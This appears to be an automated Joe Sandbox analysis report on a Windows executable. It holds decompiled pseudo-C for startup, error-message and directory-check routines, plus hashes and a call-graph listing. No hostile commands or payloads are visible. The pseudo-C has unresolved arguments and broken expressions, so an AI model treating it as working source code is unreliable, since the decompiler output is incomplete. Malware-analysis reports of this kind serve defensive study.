                                                                                                                              0x7ff7da8ec1c7

                                                                                                                              APIs
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.339090214.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000000.00000002.339080100.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339117101.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339173734.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: ErrorFileLastWrite
                                                                                                                              • String ID: U
                                                                                                                              • API String ID: 442123175-4171548499
                                                                                                                              • Opcode ID: cbd666aba2bb15de6fc291f49156f042584acd825790bad85113b2b824c09ea5
                                                                                                                              • Instruction ID: 4a64c5f184a8f9623ee4b0edb0a20097f71479b71b624e632fb12c652ac54429
                                                                                                                              • Opcode Fuzzy Hash: cbd666aba2bb15de6fc291f49156f042584acd825790bad85113b2b824c09ea5
                                                                                                                              • Instruction Fuzzy Hash: C441D262B18A41C6EB21EF25E8443ADA7A0FB98794FD04032EE8D87789DF3DD551C750
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8EE458 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 61%
                                                                                                                              			E00007FF77FF7DA8EE458(long long __rbx, long long __rsi, long long _a8, long long _a16) {
				void* _v8;
				signed int _v24;
				short _v550;
				signed int _v552;
				void* _t38;
				signed long long _t54;
				signed long long _t55;
				signed short* _t57;
				signed short* _t59;
				void* _t67;

				_a8 = __rbx;
				_a16 = __rsi;
				_t54 =  *0xda90d008; // 0xde4e6c2f3c2e
				_t55 = _t54 ^ _t67 - 0x00000240;
				_v24 = _t55;
				_t59 =  &_v552;
				r8d = 0x20a;
				E00007FF77FF7DA8DC170();
				if (GetCurrentDirectoryW(??, ??) - 0x104 > 0) goto 0xda8ee4cc;
				if (_v552 == 0) goto 0xda8ee527;
				if (_v550 != 0x3a) goto 0xda8ee527;
				_t37 =  >  ? _v552 & 0x0000ffff : _t59 - 0x20;
				_t38 = ( >  ? _v552 & 0x0000ffff : _t59 - 0x20) - 0x40;
				goto 0xda8ee527;
				E00007FF77FF7DA8EDC90(_t59 - 0x61, _t59,  &_v552);
				_t57 = _t55;
				if (_t55 == 0) goto 0xda8ee4f4;
				if (GetCurrentDirectoryW(??, ??) != 0) goto 0xda8ee501;
				E00007FF77FF7DA8E4394(_t55);
				 *_t55 = 0xc;
				goto 0xda8ee51f;
				if ( *_t57 == 0) goto 0xda8ee51f;
				if (_t57[1] != 0x3a) goto 0xda8ee51f;
				_t41 =  >  ?  *_t57 & 0x0000ffff : _t59 - 0x20;
				_t42 = ( >  ?  *_t57 & 0x0000ffff : _t59 - 0x20) - 0x40;
				E00007FF77FF7DA8E9D68(_t55, _t57);
				_t26 = ( >  ?  *_t57 & 0x0000ffff : _t59 - 0x20) - 0x40;
				return E00007FF77FF7DA8DACF0(( >  ?  *_t57 & 0x0000ffff : _t59 - 0x20) - 0x40,  *_t57 & 0x0000ffff, _v24 ^ _t67 - 0x00000240);
			}













                                                                                                                              0x7ff7da8ee458
                                                                                                                              0x7ff7da8ee45d
                                                                                                                              0x7ff7da8ee46a
                                                                                                                              0x7ff7da8ee471
                                                                                                                              0x7ff7da8ee474
                                                                                                                              0x7ff7da8ee47e
                                                                                                                              0x7ff7da8ee483
                                                                                                                              0x7ff7da8ee489
                                                                                                                              0x7ff7da8ee4a3
                                                                                                                              0x7ff7da8ee4ac
                                                                                                                              0x7ff7da8ee4b4
                                                                                                                              0x7ff7da8ee4c4
                                                                                                                              0x7ff7da8ee4c7
                                                                                                                              0x7ff7da8ee4ca
                                                                                                                              0x7ff7da8ee4d6
                                                                                                                              0x7ff7da8ee4dd
                                                                                                                              0x7ff7da8ee4e3
                                                                                                                              0x7ff7da8ee4f2
                                                                                                                              0x7ff7da8ee4f4
                                                                                                                              0x7ff7da8ee4f9
                                                                                                                              0x7ff7da8ee4ff
                                                                                                                              0x7ff7da8ee504
                                                                                                                              0x7ff7da8ee50b
                                                                                                                              0x7ff7da8ee519
                                                                                                                              0x7ff7da8ee51c
                                                                                                                              0x7ff7da8ee522
                                                                                                                              0x7ff7da8ee527
                                                                                                                              0x7ff7da8ee54d

                                                                                                                              APIs
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.339090214.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000000.00000002.339080100.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339117101.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339173734.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: CurrentDirectory
                                                                                                                              • String ID: :
                                                                                                                              • API String ID: 1611563598-336475711
                                                                                                                              • Opcode ID: 1b8146b38663a316925a53bb4948b4cb0bc62c59c16e45cc43a13628cf1b29fd
                                                                                                                              • Instruction ID: 82c9c78bf414f511082255021e3625f2f7503b3aea1454c6abb25101f09aa1ce
                                                                                                                              • Opcode Fuzzy Hash: 1b8146b38663a316925a53bb4948b4cb0bc62c59c16e45cc43a13628cf1b29fd
                                                                                                                              • Instruction Fuzzy Hash: 5D21D262A08682C5FB21AB11D04426DB3B2FB98B44FC54076DE8D43286DF7DEA55C760
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8D2770 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55windowCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 58%
                                                                                                                              			E00007FF77FF7DA8D2770(void* __rax, long long __rcx, long long __rdx, long long __r8, long long __r9, long long _a8, long long _a16, long long _a24, char _a32, char _a1056, char _a3104, signed int _a5152, char _a5208) {
				void* __rbx;
				void* _t19;
				void* _t30;
				void* _t31;
				signed long long _t35;
				signed long long _t36;
				void* _t53;
				void* _t54;
				void* _t62;
				void* _t63;

				_t57 = __r8;
				_a8 = __rcx;
				_a16 = __rdx;
				_a24 = __r8;
				_a32 = __r9;
				_t19 = E00007FF77FF7DA8DAD20(0x1448, __rax, _t62, _t63);
				_t55 = _t54 - __rax;
				_t35 =  *0xda90d008; // 0xde4e6c2f3c2e
				_t36 = _t35 ^ _t54 - __rax;
				_a5152 = _t36;
				_t37 = __rcx;
				E00007FF77FF7DA8D1040(_t19);
				_a24 =  &_a5208;
				_a16 = 0;
				r8d = 0x400;
				E00007FF77FF7DA8E3B34(_t30, _t31,  *_t36 | 0x00000002,  &_a32, __r8, __rcx);
				r8d = 0x800;
				E00007FF77FF7DA8DC170();
				r8d = 0x400;
				E00007FF77FF7DA8D79A0(_t36, __rcx,  &_a3104,  &_a32, _t53, __r8);
				if (_t36 == 0) goto 0xda8d2849;
				r8d = 0x400;
				E00007FF77FF7DA8D79A0(_t36, _t37,  &_a1056, "Fatal error detected", _t53, _t57);
				r9d = 0x30;
				MessageBoxW(??, ??, ??, ??);
				goto 0xda8d2863;
				r9d = 0x30;
				return E00007FF77FF7DA8DACF0(MessageBoxA(??, ??, ??, ??), 0, _a5152 ^ _t55);
			}













                                                                                                                              0x7ff7da8d2770
                                                                                                                              0x7ff7da8d2770
                                                                                                                              0x7ff7da8d2775
                                                                                                                              0x7ff7da8d277a
                                                                                                                              0x7ff7da8d277f
                                                                                                                              0x7ff7da8d278b
                                                                                                                              0x7ff7da8d2790
                                                                                                                              0x7ff7da8d2793
                                                                                                                              0x7ff7da8d279a
                                                                                                                              0x7ff7da8d279d
                                                                                                                              0x7ff7da8d27a5
                                                                                                                              0x7ff7da8d27b0
                                                                                                                              0x7ff7da8d27b5
                                                                                                                              0x7ff7da8d27c2
                                                                                                                              0x7ff7da8d27cb
                                                                                                                              0x7ff7da8d27d8
                                                                                                                              0x7ff7da8d27e7
                                                                                                                              0x7ff7da8d27ed
                                                                                                                              0x7ff7da8d27f2
                                                                                                                              0x7ff7da8d2805
                                                                                                                              0x7ff7da8d280d
                                                                                                                              0x7ff7da8d280f
                                                                                                                              0x7ff7da8d2824
                                                                                                                              0x7ff7da8d2829
                                                                                                                              0x7ff7da8d2841
                                                                                                                              0x7ff7da8d2847
                                                                                                                              0x7ff7da8d2849
                                                                                                                              0x7ff7da8d287c

                                                                                                                              APIs
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.339090214.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000000.00000002.339080100.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339117101.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339173734.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: Message$ByteCharMultiWide
                                                                                                                              • String ID: Fatal error detected
                                                                                                                              • API String ID: 1878133881-4025702859
                                                                                                                              • Opcode ID: e64589603809c6563179afa31cc063d3115a20461626242b215755058f5ef0d7
                                                                                                                              • Instruction ID: 09c06761bb31815aa465a404052e0505d083b182c8e9e88779f6d44de5741495
                                                                                                                              • Opcode Fuzzy Hash: e64589603809c6563179afa31cc063d3115a20461626242b215755058f5ef0d7
                                                                                                                              • Instruction Fuzzy Hash: D421A47262868291FB21A711F4517EEE364FB84788FC44036EE8D47696DF3CD215C760
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8D2880 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55windowCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 58%
                                                                                                                              			E00007FF77FF7DA8D2880(void* __rax, long long __rcx, long long __rdx, long long __r8, long long __r9, long long _a8, long long _a16, long long _a24, char _a32, char _a1056, char _a3104, signed int _a5152, char _a5208) {
				void* __rbx;
				void* _t19;
				void* _t30;
				void* _t31;
				signed long long _t35;
				signed long long _t36;
				void* _t53;
				void* _t54;
				void* _t62;
				void* _t63;

				_t57 = __r8;
				_a8 = __rcx;
				_a16 = __rdx;
				_a24 = __r8;
				_a32 = __r9;
				_t19 = E00007FF77FF7DA8DAD20(0x1448, __rax, _t62, _t63);
				_t55 = _t54 - __rax;
				_t35 =  *0xda90d008; // 0xde4e6c2f3c2e
				_t36 = _t35 ^ _t54 - __rax;
				_a5152 = _t36;
				_t37 = __rcx;
				E00007FF77FF7DA8D1040(_t19);
				_a24 =  &_a5208;
				_a16 = 0;
				r8d = 0x400;
				E00007FF77FF7DA8E3B34(_t30, _t31,  *_t36 | 0x00000002,  &_a32, __r8, __rcx);
				r8d = 0x800;
				E00007FF77FF7DA8DC170();
				r8d = 0x400;
				E00007FF77FF7DA8D79A0(_t36, __rcx,  &_a3104,  &_a32, _t53, __r8);
				if (_t36 == 0) goto 0xda8d2959;
				r8d = 0x400;
				E00007FF77FF7DA8D79A0(_t36, _t37,  &_a1056, "Error detected", _t53, _t57);
				r9d = 0x30;
				MessageBoxW(??, ??, ??, ??);
				goto 0xda8d2973;
				r9d = 0x30;
				return E00007FF77FF7DA8DACF0(MessageBoxA(??, ??, ??, ??), 0, _a5152 ^ _t55);
			}













                                                                                                                              0x7ff7da8d2880
                                                                                                                              0x7ff7da8d2880
                                                                                                                              0x7ff7da8d2885
                                                                                                                              0x7ff7da8d288a
                                                                                                                              0x7ff7da8d288f
                                                                                                                              0x7ff7da8d289b
                                                                                                                              0x7ff7da8d28a0
                                                                                                                              0x7ff7da8d28a3
                                                                                                                              0x7ff7da8d28aa
                                                                                                                              0x7ff7da8d28ad
                                                                                                                              0x7ff7da8d28b5
                                                                                                                              0x7ff7da8d28c0
                                                                                                                              0x7ff7da8d28c5
                                                                                                                              0x7ff7da8d28d2
                                                                                                                              0x7ff7da8d28db
                                                                                                                              0x7ff7da8d28e8
                                                                                                                              0x7ff7da8d28f7
                                                                                                                              0x7ff7da8d28fd
                                                                                                                              0x7ff7da8d2902
                                                                                                                              0x7ff7da8d2915
                                                                                                                              0x7ff7da8d291d
                                                                                                                              0x7ff7da8d291f
                                                                                                                              0x7ff7da8d2934
                                                                                                                              0x7ff7da8d2939
                                                                                                                              0x7ff7da8d2951
                                                                                                                              0x7ff7da8d2957
                                                                                                                              0x7ff7da8d2959
                                                                                                                              0x7ff7da8d298c

                                                                                                                              APIs
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.339090214.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000000.00000002.339080100.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339117101.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339173734.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: Message$ByteCharMultiWide
                                                                                                                              • String ID: Error detected
                                                                                                                              • API String ID: 1878133881-3513342764
                                                                                                                              • Opcode ID: 68193cdc83b7fab7fc98566493fdd9e07c0501d384b8ccfc8adb870b89089dd9
                                                                                                                              • Instruction ID: 1ebf4ac4d87b07b52c239a12310cab0128f6839bec8762b467d66b1b1ca75ace
                                                                                                                              • Opcode Fuzzy Hash: 68193cdc83b7fab7fc98566493fdd9e07c0501d384b8ccfc8adb870b89089dd9
                                                                                                                              • Instruction Fuzzy Hash: 8821A47262868291FB21A710F4517EEE364FB84788FC44036EE8D57696DF3CD215C760
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8DEF00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.339090214.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000000.00000002.339080100.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339117101.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339173734.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: ExceptionFileHeaderRaise
                                                                                                                              • String ID: csm
                                                                                                                              • API String ID: 2573137834-1018135373
                                                                                                                              • Opcode ID: bd59b9720ee897d7d1652bd34f9af743e796f0d4fc22b8e7cfc7830ab81a6d3f
                                                                                                                              • Instruction ID: 97dbde3b5d71cb860da9faffc84137b64a69edaef29c66b9854fe3e91e018ce8
                                                                                                                              • Opcode Fuzzy Hash: bd59b9720ee897d7d1652bd34f9af743e796f0d4fc22b8e7cfc7830ab81a6d3f
                                                                                                                              • Instruction Fuzzy Hash: 58114F32618B4182EB129F15E44026DB7A1FB98B94F9842B6EE8C07765DF3DD5618710
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8EEF5C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 100%
                                                                                                                              			E00007FF77FF7DA8EEF5C(void* __ecx) {
				signed int _v16;
				signed long long _t11;
				signed long long _t12;
				signed long long _t15;

				_t8 = __ecx;
				_t11 =  *0xda90d008; // 0xde4e6c2f3c2e
				_t12 = _t11 ^ _t15;
				_v16 = _t12;
				if (__ecx - 0x1a <= 0) goto 0xda8eefa6;
				E00007FF77FF7DA8E4374(_t12);
				 *_t12 = 0xf;
				E00007FF77FF7DA8E4394(_t12);
				 *_t12 = 0xd;
				E00007FF77FF7DA8E9D00();
				return E00007FF77FF7DA8DACF0(0, _t8, _v16 ^ _t15);
			}







                                                                                                                              0x7ff7da8eef5c
                                                                                                                              0x7ff7da8eef62
                                                                                                                              0x7ff7da8eef69
                                                                                                                              0x7ff7da8eef6c
                                                                                                                              0x7ff7da8eef74
                                                                                                                              0x7ff7da8eef76
                                                                                                                              0x7ff7da8eef7b
                                                                                                                              0x7ff7da8eef81
                                                                                                                              0x7ff7da8eef86
                                                                                                                              0x7ff7da8eef8c
                                                                                                                              0x7ff7da8eefa5

                                                                                                                              APIs
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.339090214.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000000.00000002.339080100.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339117101.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339173734.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: DriveType_invalid_parameter_noinfo
                                                                                                                              • String ID: :
                                                                                                                              • API String ID: 2595371189-336475711
                                                                                                                              • Opcode ID: 4b6db1c40c9d890671ff636fdf246fe8f5bd585064f0dc2380975813143fd2c7
                                                                                                                              • Instruction ID: 56764db0fb45533eeef615550688b1813be8c187163606c3d8f6a03f65e012c8
                                                                                                                              • Opcode Fuzzy Hash: 4b6db1c40c9d890671ff636fdf246fe8f5bd585064f0dc2380975813143fd2c7
                                                                                                                              • Instruction Fuzzy Hash: 6D01B121A18202C6FB22BB60945127EE7A0FF64704FC400B7DD4C86292DE3EE664C624
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Execution Graph

                                                                                                                              Execution Coverage:5%
                                                                                                                              Dynamic/Decrypted Code Coverage:0%
                                                                                                                              Signature Coverage:0%
                                                                                                                              Total number of Nodes:932
                                                                                                                              Total number of Limit Nodes:31
                                                                                                                              execution_graph 36198 7ff7da8e84a4 36199 7ff7da8e84b4 36198->36199 36200 7ff7da8e84bd 36198->36200 36199->36200 36204 7ff7da8e7fb4 36199->36204 36205 7ff7da8e7fcd 36204->36205 36212 7ff7da8e7fc9 36204->36212 36218 7ff7da8f1acc GetEnvironmentStringsW 36205->36218 36208 7ff7da8e7fe6 36225 7ff7da8e8134 36208->36225 36209 7ff7da8e7fda 36210 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 36209->36210 36210->36212 36212->36200 36217 7ff7da8e8374 12 API calls 3 library calls 36212->36217 36214 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 36215 7ff7da8e800d 36214->36215 36216 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 36215->36216 36216->36212 36217->36200 36219 7ff7da8e7fd2 36218->36219 36220 7ff7da8f1af0 36218->36220 36219->36208 36219->36209 36244 7ff7da8eca1c 36220->36244 36222 7ff7da8f1b27 memcpy_s 36223 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 36222->36223 36224 7ff7da8f1b47 FreeEnvironmentStringsW 36223->36224 36224->36219 36226 7ff7da8e815c 36225->36226 36227 7ff7da8edc90 _get_daylight 11 API calls 36226->36227 36228 7ff7da8e8197 36227->36228 36230 7ff7da8e8219 36228->36230 36233 7ff7da8edc90 _get_daylight 11 API calls 36228->36233 36234 7ff7da8e8208 36228->36234 36238 7ff7da8e823c 36228->36238 36241 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 36228->36241 36242 7ff7da8e819f 36228->36242 36253 7ff7da8ef874 37 API calls 2 library calls 36228->36253 36229 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 36232 7ff7da8e7fee 36229->36232 36231 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 36230->36231 36231->36232 36232->36214 36233->36228 36254 7ff7da8e8250 11 API calls Concurrency::details::SchedulerProxy::DeleteThis 36234->36254 36237 7ff7da8e8210 36239 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 36237->36239 36240 7ff7da8e9d20 _wfindfirst32i64 17 API calls 36238->36240 36239->36242 36243 7ff7da8e824e 36240->36243 36241->36228 36242->36229 36245 7ff7da8eca67 36244->36245 36249 7ff7da8eca2b _get_daylight 36244->36249 36252 7ff7da8e4394 11 API calls _get_daylight 36245->36252 36246 7ff7da8eca4e RtlAllocateHeap 36248 7ff7da8eca65 36246->36248 36246->36249 36248->36222 36249->36245 36249->36246 36251 7ff7da8f2600 EnterCriticalSection LeaveCriticalSection _get_daylight 36249->36251 36251->36249 36252->36248 36253->36228 36254->36237 36255 7ff7da8d98e0 36256 7ff7da8d9903 36255->36256 36257 7ff7da8d991f memcpy_s 36255->36257 36258 7ff7da8eca1c 12 API calls 36256->36258 36258->36257 36259 7ff7da8dae5c 36284 7ff7da8db2cc 36259->36284 36262 7ff7da8dafa8 36390 7ff7da8db5fc 7 API calls 2 library calls 36262->36390 36263 7ff7da8dae78 __scrt_acquire_startup_lock 36265 7ff7da8dafb2 36263->36265 36266 7ff7da8dae96 36263->36266 36391 7ff7da8db5fc 7 API calls 2 library calls 36265->36391 36276 7ff7da8daed8 __scrt_release_startup_lock 36266->36276 36292 7ff7da8e85c4 36266->36292 36268 7ff7da8dafbd _CallSETranslator 36271 7ff7da8daebb 36273 7ff7da8daf41 36300 7ff7da8db748 36273->36300 36275 7ff7da8daf46 36303 7ff7da8d1000 36275->36303 36276->36273 36387 7ff7da8e88d4 45 API calls 36276->36387 36281 7ff7da8daf69 36281->36268 36389 7ff7da8db460 7 API calls __scrt_initialize_crt 36281->36389 36283 7ff7da8daf80 36283->36271 36392 7ff7da8db8cc 36284->36392 36287 7ff7da8db2fb 36394 7ff7da8e8fdc 36287->36394 36288 7ff7da8dae70 36288->36262 36288->36263 36293 7ff7da8e85d7 36292->36293 36294 7ff7da8daeb7 36293->36294 36411 7ff7da8dad70 36293->36411 36294->36271 36296 7ff7da8e8580 36294->36296 36297 7ff7da8e8585 36296->36297 36298 7ff7da8e85b6 36296->36298 36297->36298 36481 7ff7da8dae40 36297->36481 36298->36276 36490 7ff7da8dc170 36300->36490 36302 7ff7da8db75f GetStartupInfoW 36302->36275 36304 7ff7da8d100b 36303->36304 36492 7ff7da8d7570 36304->36492 36306 7ff7da8d101d 36499 7ff7da8e4e64 36306->36499 36308 7ff7da8d365b 36506 7ff7da8d1af0 36308->36506 36312 7ff7da8dacf0 _wfindfirst32i64 8 API calls 36313 7ff7da8d378e 36312->36313 36388 7ff7da8db78c GetModuleHandleW 36313->36388 36314 7ff7da8d3679 36378 7ff7da8d377a 36314->36378 36522 7ff7da8d3b00 36314->36522 36316 7ff7da8d36ab 36316->36378 36525 7ff7da8d6970 36316->36525 36318 7ff7da8d36c7 36319 7ff7da8d6970 61 API calls 36318->36319 36335 7ff7da8d3713 36318->36335 36322 7ff7da8d36e8 __vcrt_freefls 36319->36322 36321 7ff7da8d3728 36544 7ff7da8d19d0 36321->36544 36330 7ff7da8d6f10 58 API calls 36322->36330 36322->36335 36325 7ff7da8d19d0 121 API calls 36329 7ff7da8d375e 36325->36329 36326 7ff7da8d3848 36339 7ff7da8d388b 36326->36339 36555 7ff7da8d79a0 36326->36555 36327 7ff7da8d381d 36327->36326 36645 7ff7da8d3260 59 API calls 36327->36645 36333 7ff7da8d37a0 36329->36333 36334 7ff7da8d3762 36329->36334 36330->36335 36332 7ff7da8d3868 36336 7ff7da8d386d 36332->36336 36337 7ff7da8d387e SetDllDirectoryW 36332->36337 36333->36327 36621 7ff7da8d3c90 36333->36621 36620 7ff7da8d2770 59 API calls 2 library calls 36334->36620 36540 7ff7da8d6f10 36335->36540 36646 7ff7da8d2770 59 API calls 2 library calls 36336->36646 36337->36339 36569 7ff7da8d5e20 36339->36569 36345 7ff7da8d37c2 36644 7ff7da8d2770 59 API calls 2 library calls 36345->36644 36346 7ff7da8d38e6 36353 7ff7da8d39a6 36346->36353 36361 7ff7da8d38f9 36346->36361 36349 7ff7da8d37f0 36349->36327 36352 7ff7da8d37f5 36349->36352 36351 7ff7da8d38a8 36351->36346 36648 7ff7da8d5620 161 API calls 3 library calls 36351->36648 36640 7ff7da8df1fc 36352->36640 36610 7ff7da8d30f0 36353->36610 36357 7ff7da8d39b3 36357->36378 36657 7ff7da8d6ea0 57 API calls __vcrt_freefls 36357->36657 36358 7ff7da8d38b9 36359 7ff7da8d38dc 36358->36359 36360 7ff7da8d38bd 36358->36360 36651 7ff7da8d5870 FreeLibrary 36359->36651 36649 7ff7da8d55b0 91 API calls 36360->36649 36366 7ff7da8d3945 36361->36366 36652 7ff7da8d1b30 36361->36652 36366->36378 36573 7ff7da8d3090 36366->36573 36367 7ff7da8d38c7 36367->36359 36369 7ff7da8d38cb 36367->36369 36368 7ff7da8d39db 36370 7ff7da8d6970 61 API calls 36368->36370 36650 7ff7da8d5c70 60 API calls 36369->36650 36373 7ff7da8d39e7 36370->36373 36376 7ff7da8d39f8 36373->36376 36373->36378 36374 7ff7da8d3981 36656 7ff7da8d5870 FreeLibrary 36374->36656 36375 7ff7da8d38da 36375->36346 36658 7ff7da8d6f50 63 API calls 2 library calls 36376->36658 36378->36312 36380 7ff7da8d3a10 36659 7ff7da8d5870 FreeLibrary 36380->36659 36382 7ff7da8d3a1c 36383 7ff7da8d3a37 36382->36383 36660 7ff7da8d6c10 67 API calls 2 library calls 36382->36660 36661 7ff7da8d1ab0 74 API calls __vcrt_freefls 36383->36661 36386 7ff7da8d3a3f 36386->36378 36387->36273 36388->36281 36389->36283 36390->36265 36391->36268 36393 7ff7da8db2ee __scrt_dllmain_crt_thread_attach 36392->36393 36393->36287 36393->36288 36395 7ff7da8f251c 36394->36395 36396 7ff7da8db300 36395->36396 36399 7ff7da8eb940 36395->36399 36396->36288 36398 7ff7da8dca28 7 API calls 2 library calls 36396->36398 36398->36288 36410 7ff7da8ef6d8 EnterCriticalSection 36399->36410 36401 7ff7da8eb950 36402 7ff7da8e6a94 43 API calls 36401->36402 36403 7ff7da8eb959 36402->36403 36404 7ff7da8eb967 36403->36404 36405 7ff7da8eb748 45 API calls 36403->36405 36406 7ff7da8ef738 _isindst LeaveCriticalSection 36404->36406 36408 7ff7da8eb962 36405->36408 36407 7ff7da8eb973 36406->36407 36407->36395 36409 7ff7da8eb838 GetStdHandle GetFileType 36408->36409 36409->36404 36412 